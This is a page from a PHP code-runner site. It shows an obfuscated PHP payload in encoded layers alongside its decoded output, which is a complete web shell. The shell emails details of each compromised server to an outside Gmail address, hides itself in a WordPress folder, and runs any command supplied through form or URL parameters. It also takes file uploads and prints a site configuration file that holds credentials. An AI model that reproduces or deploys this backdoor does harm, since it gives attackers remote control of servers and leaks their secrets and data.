3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo (gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1xVAcO16rSCQg6CqZRLYTGVr8Asjb2JtnDXlu7eGUp4r9qc9fOy8FE7mdEpNgz88w887Kz4VcVKkm8LJQRZervtw+3t8SE+DtPeGH8SRyFRNTrX91rcPaJ3Xtq7fZCj9tbrQehhVaKVxrSJfsAd835GB4RMPgnHNzQi+HwOr7oVFBth3chP3qoB+HfozAaxqNOzxmMi2cBFpSljCyYnBJA8MSQW4muEULRWbMJz/dGDqYfhRTxFEttKIzzIuXekv/SsFoeW5onlRJzAe6jk/MwvuyfheCgf35BD5+2t2um+StJSmBxUGZIZdWFiLNPm/FPspz7y4w89xufnJ0NoFlozvzeFAqcfA00CC/7w2MNlDOR+dTlDlpuCpAfpygNkiKnu4TaV9FdbcG0yMjv2BYmycyY8qDTdncFSHjSuZW9eBJk9cCRVZ3FrSQg7dVuQNxjpZb5s7bXXV4V65nFu2q2V2/iN6PzVDi88ZKskBzHBqdTF5VX+Poca9HpoGo9jM97f4VKJ5ehdHQh5doI0l1MnfVCVJfh1TAe9PtQ7y6gnWy5J3GSSGCKz03kcsaDZUnilCjuyuzi7RLnsO0S+IEjZ/CmETpjIwRTyawg9MgIk/HjkfxGFmZW9lVxuZN1xrPsqOO0VHBojJnUkFYBB1qLf2z3F5IUGWfs5w/2A4bHNEvGDehEdLwEt0AYStDwLvV2AHbGIIDaGCv02wF6vzXGCACQVSXSrvWUL+ARPCxQBJRZSsrpl8poTWKKhw2EgBRbGkq2ne1aN5NXJlMUkpRmCFNjvpJs6s5NgiI3ja2qq41FcqF91O9tHc8Oo0jtoC7j0qrae+9EobiplCQoCcC46e7jmtxBbS1/KcTt7bfEAOuvB6kDbsk8KJnKVo6rBCp9jbuVMFuDLqXHrxf0tMhmJtOmgFRPlpUhc0TyLjX8s6EEeNylVp7SWnpHjWax0js/lDywrLLv92DfTnPH3uEmRg4Nsi7yKjOiccpLu72UGdYwYtLBef4nhUSZFSwl5yLjNo0OTT/LcybSlMuarWncNwwmgK/VOJv4V+uYH5y3Skxc8blSH5BoEnj+sZoO/f63Oo7kZnygJMmY1l3DNgCOca2jcLOsrVhro7x46xUraeM5Y7NgK4tVBWH6ZWgGaU2WVIOp6QDo0SrsT8YNHN1rWla8O7CzU2kO8+KBx847QnA08F+EmLyMHQy27pJaYMPUcX6IK8zW7ZFzKuCG5CnuhSfiljHZ0FRIkmOtiQFE8KU7S14HdIQekid72p4VuR76pspjU3nJd3Ke2lurXnil4usT9HgzTvv2A8tN456P+XSe+OjJYTU3UR3E0o3VsmyX5isKUs1upfheCsU3ZEOThoKaAAF5SXliFkDDzaLhogk68IX3iZhJiuEht/dluyEIyPW/EuQ7S3uZJnsZ814k/h8=')))); ?>
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
error_reporting(0); if (!isset($_SESSION['bajak'])) { $visitcount = 0; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "ada yang inject \n$web$inj"; $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE = OFF";} else {$security= "SAFE_MODE = ON";}; $serper=gethostbyname($_SERVER['SERVER_ADDR']); $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); mail("injectortarget@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor"); $_SESSION['bajak'] = 0; } else {$_SESSION['bajak']++;}; if(isset($_GET['clone'])){ $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php"; rename($source, $desti); } $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE : OFF";} else {$security= "SAFE_MODE : ON";} echo "<title>UnKnown - Simple Shell</title><br>"; echo "<font size=2 color=#888888><b>".$security."</b><br>"; $cur_user="(".get_current_user().")"; echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>"; echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>"; function pwd() { $cwd = getcwd(); if($u=strrpos($cwd,'/')){ if($u!=strlen($cwd)-1){ return $cwd.'/';} else{return $cwd;}; } elseif($u=strrpos($cwd,'\\')){ if($u!=strlen($cwd)-1){ return $cwd.'\\';} else{return $cwd;}; }; } echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; if(isset($_POST['submit'])){ $uploaddir = pwd(); if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];}; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){ echo "Upload Failed"; } else { echo "Upload Success to ".$uploaddir.$name." :D "; } } if(isset($_POST['command'])){ $cmd = $_POST['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>"; } elseif(isset($_GET['cmd'])){ $comd = $_GET['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>"; } elseif(isset($_GET['rf'])){ $rf = file_get_contents("../../configuration.php"); echo $rf; } else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>"; }